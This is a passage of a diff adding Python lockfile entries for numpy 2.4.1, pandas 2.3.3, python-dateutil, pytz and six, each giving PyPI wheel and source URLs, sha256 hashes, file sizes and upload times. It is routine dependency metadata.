12368657, upload-time = "2026-01-10T06:43:09.094Z" }, + { url = "https://files.pythonhosted.org/packages/81/0d/2377c917513449cc6240031a79d30eb9a163d32a91e79e0da47c43f2c0c8/numpy-2.4.1-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:71abbea030f2cfc3092a0ff9f8c8fdefdc5e0bf7d9d9c99663538bb0ecdac0b9", size = 5197256, upload-time = "2026-01-10T06:43:13.634Z" }, + { url = "https://files.pythonhosted.org/packages/17/39/569452228de3f5de9064ac75137082c6214be1f5c532016549a7923ab4b5/numpy-2.4.1-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:5b55aa56165b17aaf15520beb9cbd33c9039810e0d9643dd4379e44294c7303e", size = 6545212, upload-time = "2026-01-10T06:43:15.661Z" }, + { url = "https://files.pythonhosted.org/packages/8c/a4/77333f4d1e4dac4395385482557aeecf4826e6ff517e32ca48e1dafbe42a/numpy-2.4.1-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c0faba4a331195bfa96f93dd9dfaa10b2c7aa8cda3a02b7fd635e588fe821bf5", size = 14402871, upload-time = "2026-01-10T06:43:17.324Z" }, + { url = "https://files.pythonhosted.org/packages/ba/87/d341e519956273b39d8d47969dd1eaa1af740615394fe67d06f1efa68773/numpy-2.4.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d3e3087f53e2b4428766b54932644d148613c5a595150533ae7f00dab2f319a8", size = 16359305, upload-time = "2026-01-10T06:43:19.376Z" }, + { url = "https://files.pythonhosted.org/packages/32/91/789132c6666288eaa20ae8066bb99eba1939362e8f1a534949a215246e97/numpy-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:49e792ec351315e16da54b543db06ca8a86985ab682602d90c60ef4ff4db2a9c", size = 16181909, upload-time = "2026-01-10T06:43:21.808Z" }, + { url = "https://files.pythonhosted.org/packages/cf/b8/090b8bd27b82a844bb22ff8fdf7935cb1980b48d6e439ae116f53cdc2143/numpy-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:79e9e06c4c2379db47f3f6fc7a8652e7498251789bf8ff5bd43bf478ef314ca2", size = 18284380, upload-time = "2026-01-10T06:43:23.957Z" }, + { url = "https://files.pythonhosted.org/packages/67/78/722b62bd31842ff029412271556a1a27a98f45359dea78b1548a3a9996aa/numpy-2.4.1-cp313-cp313-win32.whl", hash = "sha256:3d1a100e48cb266090a031397863ff8a30050ceefd798f686ff92c67a486753d", size = 5957089, upload-time = "2026-01-10T06:43:27.535Z" }, + { url = "https://files.pythonhosted.org/packages/da/a6/cf32198b0b6e18d4fbfa9a21a992a7fca535b9bb2b0cdd217d4a3445b5ca/numpy-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:92a0e65272fd60bfa0d9278e0484c2f52fe03b97aedc02b357f33fe752c52ffb", size = 12307230, upload-time = "2026-01-10T06:43:29.298Z" }, + { url = "https://files.pythonhosted.org/packages/44/6c/534d692bfb7d0afe30611320c5fb713659dcb5104d7cc182aff2aea092f5/numpy-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:20d4649c773f66cc2fc36f663e091f57c3b7655f936a4c681b4250855d1da8f5", size = 10313125, upload-time = "2026-01-10T06:43:31.782Z" }, + { url = "https://files.pythonhosted.org/packages/da/a1/354583ac5c4caa566de6ddfbc42744409b515039e085fab6e0ff942e0df5/numpy-2.4.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:f93bc6892fe7b0663e5ffa83b61aab510aacffd58c16e012bb9352d489d90cb7", size = 12496156, upload-time = "2026-01-10T06:43:34.237Z" }, + { url = "https://files.pythonhosted.org/packages/51/b0/42807c6e8cce58c00127b1dc24d365305189991f2a7917aa694a109c8d7d/numpy-2.4.1-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:178de8f87948163d98a4c9ab5bee4ce6519ca918926ec8df195af582de28544d", size = 5324663, upload-time = "2026-01-10T06:43:36.211Z" }, + { url = "https://files.pythonhosted.org/packages/fe/55/7a621694010d92375ed82f312b2f28017694ed784775269115323e37f5e2/numpy-2.4.1-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:98b35775e03ab7f868908b524fc0a84d38932d8daf7b7e1c3c3a1b6c7a2c9f15", size = 6645224, upload-time = "2026-01-10T06:43:37.884Z" }, + { url = "https://files.pythonhosted.org/packages/50/96/9fa8635ed9d7c847d87e30c834f7109fac5e88549d79ef3324ab5c20919f/numpy-2.4.1-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:941c2a93313d030f219f3a71fd3d91a728b82979a5e8034eb2e60d394a2b83f9", size = 14462352, upload-time = "2026-01-10T06:43:39.479Z" }, + { url = "https://files.pythonhosted.org/packages/03/d1/8cf62d8bb2062da4fb82dd5d49e47c923f9c0738032f054e0a75342faba7/numpy-2.4.1-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:529050522e983e00a6c1c6b67411083630de8b57f65e853d7b03d9281b8694d2", size = 16407279, upload-time = "2026-01-10T06:43:41.93Z" }, + { url = "https://files.pythonhosted.org/packages/86/1c/95c86e17c6b0b31ce6ef219da00f71113b220bcb14938c8d9a05cee0ff53/numpy-2.4.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:2302dc0224c1cbc49bb94f7064f3f923a971bfae45c33870dcbff63a2a550505", size = 16248316, upload-time = "2026-01-10T06:43:44.121Z" }, + { url = "https://files.pythonhosted.org/packages/30/b4/e7f5ff8697274c9d0fa82398b6a372a27e5cef069b37df6355ccb1f1db1a/numpy-2.4.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:9171a42fcad32dcf3fa86f0a4faa5e9f8facefdb276f54b8b390d90447cff4e2", size = 18329884, upload-time = "2026-01-10T06:43:46.613Z" }, + { url = "https://files.pythonhosted.org/packages/37/a4/b073f3e9d77f9aec8debe8ca7f9f6a09e888ad1ba7488f0c3b36a94c03ac/numpy-2.4.1-cp313-cp313t-win32.whl", hash = "sha256:382ad67d99ef49024f11d1ce5dcb5ad8432446e4246a4b014418ba3a1175a1f4", size = 6081138, upload-time = "2026-01-10T06:43:48.854Z" }, + { url = "https://files.pythonhosted.org/packages/16/16/af42337b53844e67752a092481ab869c0523bc95c4e5c98e4dac4e9581ac/numpy-2.4.1-cp313-cp313t-win_amd64.whl", hash = "sha256:62fea415f83ad8fdb6c20840578e5fbaf5ddd65e0ec6c3c47eda0f69da172510", size = 12447478, upload-time = "2026-01-10T06:43:50.476Z" }, + { url = "https://files.pythonhosted.org/packages/6c/f8/fa85b2eac68ec631d0b631abc448552cb17d39afd17ec53dcbcc3537681a/numpy-2.4.1-cp313-cp313t-win_arm64.whl", hash = "sha256:a7870e8c5fc11aef57d6fea4b4085e537a3a60ad2cdd14322ed531fdca68d261", size = 10382981, upload-time = "2026-01-10T06:43:52.575Z" }, + { url = "https://files.pythonhosted.org/packages/1b/a7/ef08d25698e0e4b4efbad8d55251d20fe2a15f6d9aa7c9b30cd03c165e6f/numpy-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:3869ea1ee1a1edc16c29bbe3a2f2a4e515cc3a44d43903ad41e0cacdbaf733dc", size = 16652046, upload-time = "2026-01-10T06:43:54.797Z" }, + { url = "https://files.pythonhosted.org/packages/8f/39/e378b3e3ca13477e5ac70293ec027c438d1927f18637e396fe90b1addd72/numpy-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e867df947d427cdd7a60e3e271729090b0f0df80f5f10ab7dd436f40811699c3", size = 12378858, upload-time = "2026-01-10T06:43:57.099Z" }, + { url = "https://files.pythonhosted.org/packages/c3/74/7ec6154f0006910ed1fdbb7591cf4432307033102b8a22041599935f8969/numpy-2.4.1-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:e3bd2cb07841166420d2fa7146c96ce00cb3410664cbc1a6be028e456c4ee220", size = 5207417, upload-time = "2026-01-10T06:43:59.037Z" }, + { url = "https://files.pythonhosted.org/packages/f7/b7/053ac11820d84e42f8feea5cb81cc4fcd1091499b45b1ed8c7415b1bf831/numpy-2.4.1-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:f0a90aba7d521e6954670550e561a4cb925713bd944445dbe9e729b71f6cabee", size = 6542643, upload-time = "2026-01-10T06:44:01.852Z" }, + { url = "https://files.pythonhosted.org/packages/c0/c4/2e7908915c0e32ca636b92e4e4a3bdec4cb1e7eb0f8aedf1ed3c68a0d8cd/numpy-2.4.1-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5d558123217a83b2d1ba316b986e9248a1ed1971ad495963d555ccd75dcb1556", size = 14418963, upload-time = "2026-01-10T06:44:04.047Z" }, + { url = "https://files.pythonhosted.org/packages/eb/c0/3ed5083d94e7ffd7c404e54619c088e11f2e1939a9544f5397f4adb1b8ba/numpy-2.4.1-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2f44de05659b67d20499cbc96d49f2650769afcb398b79b324bb6e297bfe3844", size = 16363811, upload-time = "2026-01-10T06:44:06.207Z" }, + { url = "https://files.pythonhosted.org/packages/0e/68/42b66f1852bf525050a67315a4fb94586ab7e9eaa541b1bef530fab0c5dd/numpy-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:69e7419c9012c4aaf695109564e3387f1259f001b4326dfa55907b098af082d3", size = 16197643, upload-time = "2026-01-10T06:44:08.33Z" }, + { url = "https://files.pythonhosted.org/packages/d2/40/e8714fc933d85f82c6bfc7b998a0649ad9769a32f3494ba86598aaf18a48/numpy-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2ffd257026eb1b34352e749d7cc1678b5eeec3e329ad8c9965a797e08ccba205", size = 18289601, upload-time = "2026-01-10T06:44:10.841Z" }, + { url = "https://files.pythonhosted.org/packages/80/9a/0d44b468cad50315127e884802351723daca7cf1c98d102929468c81d439/numpy-2.4.1-cp314-cp314-win32.whl", hash = "sha256:727c6c3275ddefa0dc078524a85e064c057b4f4e71ca5ca29a19163c607be745", size = 6005722, upload-time = "2026-01-10T06:44:13.332Z" }, + { url = "https://files.pythonhosted.org/packages/7e/bb/c6513edcce5a831810e2dddc0d3452ce84d208af92405a0c2e58fd8e7881/numpy-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:7d5d7999df434a038d75a748275cd6c0094b0ecdb0837342b332a82defc4dc4d", size = 12438590, upload-time = "2026-01-10T06:44:15.006Z" }, + { url = "https://files.pythonhosted.org/packages/e9/da/a598d5cb260780cf4d255102deba35c1d072dc028c4547832f45dd3323a8/numpy-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:ce9ce141a505053b3c7bce3216071f3bf5c182b8b28930f14cd24d43932cd2df", size = 10596180, upload-time = "2026-01-10T06:44:17.386Z" }, + { url = "https://files.pythonhosted.org/packages/de/bc/ea3f2c96fcb382311827231f911723aeff596364eb6e1b6d1d91128aa29b/numpy-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:4e53170557d37ae404bf8d542ca5b7c629d6efa1117dac6a83e394142ea0a43f", size = 12498774, upload-time = "2026-01-10T06:44:19.467Z" }, + { url = "https://files.pythonhosted.org/packages/aa/ab/ef9d939fe4a812648c7a712610b2ca6140b0853c5efea361301006c02ae5/numpy-2.4.1-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:a73044b752f5d34d4232f25f18160a1cc418ea4507f5f11e299d8ac36875f8a0", size = 5327274, upload-time = "2026-01-10T06:44:23.189Z" }, + { url = "https://files.pythonhosted.org/packages/bd/31/d381368e2a95c3b08b8cf7faac6004849e960f4a042d920337f71cef0cae/numpy-2.4.1-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:fb1461c99de4d040666ca0444057b06541e5642f800b71c56e6ea92d6a853a0c", size = 6648306, upload-time = "2026-01-10T06:44:25.012Z" }, + { url = "https://files.pythonhosted.org/packages/c8/e5/0989b44ade47430be6323d05c23207636d67d7362a1796ccbccac6773dd2/numpy-2.4.1-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:423797bdab2eeefbe608d7c1ec7b2b4fd3c58d51460f1ee26c7500a1d9c9ee93", size = 14464653, upload-time = "2026-01-10T06:44:26.706Z" }, + { url = "https://files.pythonhosted.org/packages/10/a7/cfbe475c35371cae1358e61f20c5f075badc18c4797ab4354140e1d283cf/numpy-2.4.1-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:52b5f61bdb323b566b528899cc7db2ba5d1015bda7ea811a8bcf3c89c331fa42", size = 16405144, upload-time = "2026-01-10T06:44:29.378Z" }, + { url = "https://files.pythonhosted.org/packages/f8/a3/0c63fe66b534888fa5177cc7cef061541064dbe2b4b60dcc60ffaf0d2157/numpy-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:42d7dd5fa36d16d52a84f821eb96031836fd405ee6955dd732f2023724d0aa01", size = 16247425, upload-time = "2026-01-10T06:44:31.721Z" }, + { url = "https://files.pythonhosted.org/packages/6b/2b/55d980cfa2c93bd40ff4c290bf824d792bd41d2fe3487b07707559071760/numpy-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:e7b6b5e28bbd47b7532698e5db2fe1db693d84b58c254e4389d99a27bb9b8f6b", size = 18330053, upload-time = "2026-01-10T06:44:34.617Z" }, + { url = "https://files.pythonhosted.org/packages/23/12/8b5fc6b9c487a09a7957188e0943c9ff08432c65e34567cabc1623b03a51/numpy-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:5de60946f14ebe15e713a6f22850c2372fa72f4ff9a432ab44aa90edcadaa65a", size = 6152482, upload-time = "2026-01-10T06:44:36.798Z" }, + { url = "https://files.pythonhosted.org/packages/00/a5/9f8ca5856b8940492fc24fbe13c1bc34d65ddf4079097cf9e53164d094e1/numpy-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:8f085da926c0d491ffff3096f91078cc97ea67e7e6b65e490bc8dcda65663be2", size = 12627117, upload-time = "2026-01-10T06:44:38.828Z" }, + { url = "https://files.pythonhosted.org/packages/ad/0d/eca3d962f9eef265f01a8e0d20085c6dd1f443cbffc11b6dede81fd82356/numpy-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:6436cffb4f2bf26c974344439439c95e152c9a527013f26b3577be6c2ca64295", size = 10667121, upload-time = "2026-01-10T06:44:41.644Z" }, +] + +[[package]] +name = "pandas" +version = "2.3.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy" }, + { name = "python-dateutil" }, + { name = "pytz" }, + { name = "tzdata" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/33/01/d40b85317f86cf08d853a4f495195c73815fdf205eef3993821720274518/pandas-2.3.3.tar.gz", hash = "sha256:e05e1af93b977f7eafa636d043f9f94c7ee3ac81af99c13508215942e64c993b", size = 4495223, upload-time = "2025-09-29T23:34:51.853Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9c/fb/231d89e8637c808b997d172b18e9d4a4bc7bf31296196c260526055d1ea0/pandas-2.3.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d21f6d74eb1725c2efaa71a2bfc661a0689579b58e9c0ca58a739ff0b002b53", size = 11597846, upload-time = "2025-09-29T23:19:48.856Z" }, + { url = "https://files.pythonhosted.org/packages/5c/bd/bf8064d9cfa214294356c2d6702b716d3cf3bb24be59287a6a21e24cae6b/pandas-2.3.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:3fd2f887589c7aa868e02632612ba39acb0b8948faf5cc58f0850e165bd46f35", size = 10729618, upload-time = "2025-09-29T23:39:08.659Z" }, + { url = "https://files.pythonhosted.org/packages/57/56/cf2dbe1a3f5271370669475ead12ce77c61726ffd19a35546e31aa8edf4e/pandas-2.3.3-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ecaf1e12bdc03c86ad4a7ea848d66c685cb6851d807a26aa245ca3d2017a1908", size = 11737212, upload-time = "2025-09-29T23:19:59.765Z" }, + { url = "https://files.pythonhosted.org/packages/e5/63/cd7d615331b328e287d8233ba9fdf191a9c2d11b6af0c7a59cfcec23de68/pandas-2.3.3-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b3d11d2fda7eb164ef27ffc14b4fcab16a80e1ce67e9f57e19ec0afaf715ba89", size = 12362693, upload-time = "2025-09-29T23:20:14.098Z" }, + { url = "https://files.pythonhosted.org/packages/a6/de/8b1895b107277d52f2b42d3a6806e69cfef0d5cf1d0ba343470b9d8e0a04/pandas-2.3.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a68e15f780eddf2b07d242e17a04aa187a7ee12b40b930bfdd78070556550e98", size = 12771002, upload-time = "2025-09-29T23:20:26.76Z" }, + { url = "https://files.pythonhosted.org/packages/87/21/84072af3187a677c5893b170ba2c8fbe450a6ff911234916da889b698220/pandas-2.3.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:371a4ab48e950033bcf52b6527eccb564f52dc826c02afd9a1bc0ab731bba084", size = 13450971, upload-time = "2025-09-29T23:20:41.344Z" }, + { url = "https://files.pythonhosted.org/packages/86/41/585a168330ff063014880a80d744219dbf1dd7a1c706e75ab3425a987384/pandas-2.3.3-cp312-cp312-win_amd64.whl", hash = "sha256:a16dcec078a01eeef8ee61bf64074b4e524a2a3f4b3be9326420cabe59c4778b", size = 10992722, upload-time = "2025-09-29T23:20:54.139Z" }, + { url = "https://files.pythonhosted.org/packages/cd/4b/18b035ee18f97c1040d94debd8f2e737000ad70ccc8f5513f4eefad75f4b/pandas-2.3.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:56851a737e3470de7fa88e6131f41281ed440d29a9268dcbf0002da5ac366713", size = 11544671, upload-time = "2025-09-29T23:21:05.024Z" }, + { url = "https://files.pythonhosted.org/packages/31/94/72fac03573102779920099bcac1c3b05975c2cb5f01eac609faf34bed1ca/pandas-2.3.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:bdcd9d1167f4885211e401b3036c0c8d9e274eee67ea8d0758a256d60704cfe8", size = 10680807, upload-time = "2025-09-29T23:21:15.979Z" }, + { url = "https://files.pythonhosted.org/packages/16/87/9472cf4a487d848476865321de18cc8c920b8cab98453ab79dbbc98db63a/pandas-2.3.3-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e32e7cc9af0f1cc15548288a51a3b681cc2a219faa838e995f7dc53dbab1062d", size = 11709872, upload-time = "2025-09-29T23:21:27.165Z" }, + { url = "https://files.pythonhosted.org/packages/15/07/284f757f63f8a8d69ed4472bfd85122bd086e637bf4ed09de572d575a693/pandas-2.3.3-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:318d77e0e42a628c04dc56bcef4b40de67918f7041c2b061af1da41dcff670ac", size = 12306371, upload-time = "2025-09-29T23:21:40.532Z" }, + { url = "https://files.pythonhosted.org/packages/33/81/a3afc88fca4aa925804a27d2676d22dcd2031c2ebe08aabd0ae55b9ff282/pandas-2.3.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4e0a175408804d566144e170d0476b15d78458795bb18f1304fb94160cabf40c", size = 12765333, upload-time = "2025-09-29T23:21:55.77Z" }, + { url = "https://files.pythonhosted.org/packages/8d/0f/b4d4ae743a83742f1153464cf1a8ecfafc3ac59722a0b5c8602310cb7158/pandas-2.3.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:93c2d9ab0fc11822b5eece72ec9587e172f63cff87c00b062f6e37448ced4493", size = 13418120, upload-time = "2025-09-29T23:22:10.109Z" }, + { url = "https://files.pythonhosted.org/packages/4f/c7/e54682c96a895d0c808453269e0b5928a07a127a15704fedb643e9b0a4c8/pandas-2.3.3-cp313-cp313-win_amd64.whl", hash = "sha256:f8bfc0e12dc78f777f323f55c58649591b2cd0c43534e8355c51d3fede5f4dee", size = 10993991, upload-time = "2025-09-29T23:25:04.889Z" }, + { url = "https://files.pythonhosted.org/packages/f9/ca/3f8d4f49740799189e1395812f3bf23b5e8fc7c190827d55a610da72ce55/pandas-2.3.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:75ea25f9529fdec2d2e93a42c523962261e567d250b0013b16210e1d40d7c2e5", size = 12048227, upload-time = "2025-09-29T23:22:24.343Z" }, + { url = "https://files.pythonhosted.org/packages/0e/5a/f43efec3e8c0cc92c4663ccad372dbdff72b60bdb56b2749f04aa1d07d7e/pandas-2.3.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:74ecdf1d301e812db96a465a525952f4dde225fdb6d8e5a521d47e1f42041e21", size = 11411056, upload-time = "2025-09-29T23:22:37.762Z" }, + { url = "https://files.pythonhosted.org/packages/46/b1/85331edfc591208c9d1a63a06baa67b21d332e63b7a591a5ba42a10bb507/pandas-2.3.3-cp313-cp313t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6435cb949cb34ec11cc9860246ccb2fdc9ecd742c12d3304989017d53f039a78", size = 11645189, upload-time = "2025-09-29T23:22:51.688Z" }, + { url = "https://files.pythonhosted.org/packages/44/23/78d645adc35d94d1ac4f2a3c4112ab6f5b8999f4898b8cdf01252f8df4a9/pandas-2.3.3-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:900f47d8f20860de523a1ac881c4c36d65efcb2eb850e6948140fa781736e110", size = 12121912, upload-time = "2025-09-29T23:23:05.042Z" }, + { url = "https://files.pythonhosted.org/packages/53/da/d10013df5e6aaef6b425aa0c32e1fc1f3e431e4bcabd420517dceadce354/pandas-2.3.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:a45c765238e2ed7d7c608fc5bc4a6f88b642f2f01e70c0c23d2224dd21829d86", size = 12712160, upload-time = "2025-09-29T23:23:28.57Z" }, + { url = "https://files.pythonhosted.org/packages/bd/17/e756653095a083d8a37cbd816cb87148debcfcd920129b25f99dd8d04271/pandas-2.3.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:c4fc4c21971a1a9f4bdb4c73978c7f7256caa3e62b323f70d6cb80db583350bc", size = 13199233, upload-time = "2025-09-29T23:24:24.876Z" }, + { url = "https://files.pythonhosted.org/packages/04/fd/74903979833db8390b73b3a8a7d30d146d710bd32703724dd9083950386f/pandas-2.3.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:ee15f284898e7b246df8087fc82b87b01686f98ee67d85a17b7ab44143a3a9a0", size = 11540635, upload-time = "2025-09-29T23:25:52.486Z" }, + { url = "https://files.pythonhosted.org/packages/21/00/266d6b357ad5e6d3ad55093a7e8efc7dd245f5a842b584db9f30b0f0a287/pandas-2.3.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1611aedd912e1ff81ff41c745822980c49ce4a7907537be8692c8dbc31924593", size = 10759079, upload-time = "2025-09-29T23:26:33.204Z" }, + { url = "https://files.pythonhosted.org/packages/ca/05/d01ef80a7a3a12b2f8bbf16daba1e17c98a2f039cbc8e2f77a2c5a63d382/pandas-2.3.3-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6d2cefc361461662ac48810cb14365a365ce864afe85ef1f447ff5a1e99ea81c", size = 11814049, upload-time = "2025-09-29T23:27:15.384Z" }, + { url = "https://files.pythonhosted.org/packages/15/b2/0e62f78c0c5ba7e3d2c5945a82456f4fac76c480940f805e0b97fcbc2f65/pandas-2.3.3-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ee67acbbf05014ea6c763beb097e03cd629961c8a632075eeb34247120abcb4b", size = 12332638, upload-time = "2025-09-29T23:27:51.625Z" }, + { url = "https://files.pythonhosted.org/packages/c5/33/dd70400631b62b9b29c3c93d2feee1d0964dc2bae2e5ad7a6c73a7f25325/pandas-2.3.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c46467899aaa4da076d5abc11084634e2d197e9460643dd455ac3db5856b24d6", size = 12886834, upload-time = "2025-09-29T23:28:21.289Z" }, + { url = "https://files.pythonhosted.org/packages/d3/18/b5d48f55821228d0d2692b34fd5034bb185e854bdb592e9c640f6290e012/pandas-2.3.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:6253c72c6a1d990a410bc7de641d34053364ef8bcd3126f7e7450125887dffe3", size = 13409925, upload-time = "2025-09-29T23:28:58.261Z" }, + { url = "https://files.pythonhosted.org/packages/a6/3d/124ac75fcd0ecc09b8fdccb0246ef65e35b012030defb0e0eba2cbbbe948/pandas-2.3.3-cp314-cp314-win_amd64.whl", hash = "sha256:1b07204a219b3b7350abaae088f451860223a52cfb8a6c53358e7948735158e5", size = 11109071, upload-time = "2025-09-29T23:32:27.484Z" }, + { url = "https://files.pythonhosted.org/packages/89/9c/0e21c895c38a157e0faa1fb64587a9226d6dd46452cac4532d80c3c4a244/pandas-2.3.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:2462b1a365b6109d275250baaae7b760fd25c726aaca0054649286bcfbb3e8ec", size = 12048504, upload-time = "2025-09-29T23:29:31.47Z" }, + { url = "https://files.pythonhosted.org/packages/d7/82/b69a1c95df796858777b68fbe6a81d37443a33319761d7c652ce77797475/pandas-2.3.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:0242fe9a49aa8b4d78a4fa03acb397a58833ef6199e9aa40a95f027bb3a1b6e7", size = 11410702, upload-time = "2025-09-29T23:29:54.591Z" }, + { url = "https://files.pythonhosted.org/packages/f9/88/702bde3ba0a94b8c73a0181e05144b10f13f29ebfc2150c3a79062a8195d/pandas-2.3.3-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a21d830e78df0a515db2b3d2f5570610f5e6bd2e27749770e8bb7b524b89b450", size = 11634535, upload-time = "2025-09-29T23:30:21.003Z" }, + { url = "https://files.pythonhosted.org/packages/a4/1e/1bac1a839d12e6a82ec6cb40cda2edde64a2013a66963293696bbf31fbbb/pandas-2.3.3-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2e3ebdb170b5ef78f19bfb71b0dc5dc58775032361fa188e814959b74d726dd5", size = 12121582, upload-time = "2025-09-29T23:30:43.391Z" }, + { url = "https://files.pythonhosted.org/packages/44/91/483de934193e12a3b1d6ae7c8645d083ff88dec75f46e827562f1e4b4da6/pandas-2.3.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:d051c0e065b94b7a3cea50eb1ec32e912cd96dba41647eb24104b6c6c14c5788", size = 12699963, upload-time = "2025-09-29T23:31:10.009Z" }, + { url = "https://files.pythonhosted.org/packages/70/44/5191d2e4026f86a2a109053e194d3ba7a31a2d10a9c2348368c63ed4e85a/pandas-2.3.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:3869faf4bd07b3b66a9f462417d0ca3a9df29a9f6abd5d0d0dbab15dac7abe87", size = 13202175, upload-time = "2025-09-29T23:31:59.173Z" }, +] + +[[package]] +name = "python-dateutil" +version = "2.9.0.post0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "six" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" }, +] + +[[package]] +name = "pytz" +version = "2025.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f8/bf/abbd3cdfb8fbc7fb3d4d38d320f2441b1e7cbe29be4f23797b4a2b5d8aac/pytz-2025.2.tar.gz", hash = "sha256:360b9e3dbb49a209c21ad61809c7fb453643e048b38924c765813546746e81c3", size = 320884, upload-time = "2025-03-25T02:25:00.538Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/81/c4/34e93fe5f5429d7570ec1fa436f1986fb1f00c3e0f43a589fe2bbcd22c3f/pytz-2025.2-py2.py3-none-any.whl", hash = "sha256:5ddf76296dd8c44c26eb8f4b6f35488f3ccbf6fbbd7adee0b7262d43f0ec2f00", size = 509225, upload-time = "2025-03-25T02:24:58.468Z" }, +] + +[[package]] +name = "six" +version = "1.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = 